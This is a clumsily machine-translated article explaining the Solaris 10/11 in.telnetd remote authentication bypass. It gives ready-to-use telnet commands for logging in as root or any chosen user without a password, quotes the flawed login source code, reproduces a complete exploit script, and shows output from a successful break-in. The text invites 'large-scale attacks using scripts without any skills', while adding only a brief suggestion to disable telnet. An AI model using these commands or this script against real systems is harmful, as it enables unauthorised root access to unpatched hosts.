Use of Telnet in Solaris

For the use of the telnet service, we will mainly explain some applications in the Solaris system. First, let's take a look at the relevant content of the Solaris System and the telnet function. If your Solaris system runs the telnet service program, you will be surprised: you only need to perform a simple step to get the root permission (or other user permissions ). the vulnerability is the telnet Remote root Vulnerability (or SunOS 10/11/5.10 in) on the Solaris 5.11 system. telnetd remote vulnerability ). you can execute large-scale attacks using scripts without any skills or vulnerability knowledge. the complete vulnerability exploitation method can be obtained from this pdf article (or from the vulnerability code explanation section below ). the following describes how to exploit this vulnerability. basically, you can specify any "-fusername" parameter after the-l option of the telnet command. fusername can be any user name you need, such as bin and root. after telnet, you can get the user permission specified by fusername. for example:

Telnet-l "-fbin" target_address

We recommend that you disable the telnet program on the solaris system. In addition, you can download the EV data with this vulnerability from the ErraSec website.

Note: The default installation of Solaris 10 will not be affected by this vulnerability. if you modify the CONSOLE variable in the/etc/default/login configuration file, you can only log on to the system through the local CONSOLE root. of course, if you comment out the CONSOLE line, any user can exploit the telnet Vulnerability locally or remotely.

Telnet-l "-froot" target_address

Vulnerability code explanation

The following vulnerability Code applies to the in. telnetd program on the SunOS 5.10/5.11 system. The original author is Kingsley.

First, check the source code of Opensolaris:

 
 

  
  
CODE:  
  
  
/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c  
  
  
3198  
  
  
3199 } else /* default, no auth. info available, login does it all */ {  
  
  
3200 (void) execl(LOGIN_PROGRAM, "login",  
  
  
3201 "-p", "-h", host, "-d", slavename,  
  
  
3202 getenv("USER"), 0);  
  
  
3203 }  
  
  
/usr/src/cmd/login/login.c  
  
  
1397 break;  
  
  
1398  
  
  
1399 case 'f':  
  
  
1400 /*  
  
  
1401 * Must be root to bypass authentication  
  
  
1402 * otherwise we exit() as punishment for trying.  
  
  
1403 */  
  
  
1404 if (getuid() != 0 || geteuid() != 0) {  
  
  
1405 audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;  
  
  
1406  
  
  
1407 login_exit(1); /* sigh */  
  
  
1408 /*NOTREACHED*/  
  
  
1409 }  
  
  
1410 /* save fflag user name for future use */  
  
  
1411 SCPYL(user_name, optarg);  
  
  
1412 fflag = B_TRUE; 
 
 

After reading the above, we can set the USER environment variable "-fusername" to obtain the required USER permissions. New users do not need password verification for login.

The following is the official vulnerability exploitation code (called sunos ):

--- Start ---

 
 

  
  
#!/bin/sh  
  
  
# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL  
  
  
#  
  
  
# *********************ATTENTION********************************  
  
  
# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES  
  
  
# (C) COPYRIGHT Kingcope, 2007  
  
  
#  
  
  
################################################################  
  
  
echo ""  
  
  
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"  
  
  
if [ $# -ne 2 ]; then  
  
  
echo "./sunos "  
  
  
echo "./sunos localhost bin"  
  
  
exit  
  
  
fi  
  
  
echo ""  
  
  
echo "ALEX ALEX"  
  
  
echo ""  
  
  
telnet -l"-f$2" $1 
 
 

--- End ---

Then execute the vulnerability program:

 
 

  
  
$ ./sunos adm  
  
  
SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net  
  
  
ALEX ALEX  
  
  
Trying .  
  
  
Connected to .  
  
  
Escape character is '^]'.  
  
  
Last login: Wed Feb 7 16:28:19 from  
  
  
Sun Microsystems Inc. SunOS 5.10 Generic January 2005  
  
  
$ uname -a;id  
  
  
SunOS library7 5.10 Generic_118833-33 sun4u sparc SUNW,Sun-Fire-V245  
  
  
uid=4(adm) gid=4(adm)  
  
  
$ 
 
 

We can see that after the sunos script is executed, the executor obtains the adm account permission.

Reference

Trivial remote Solaris 0day, disable telnet now.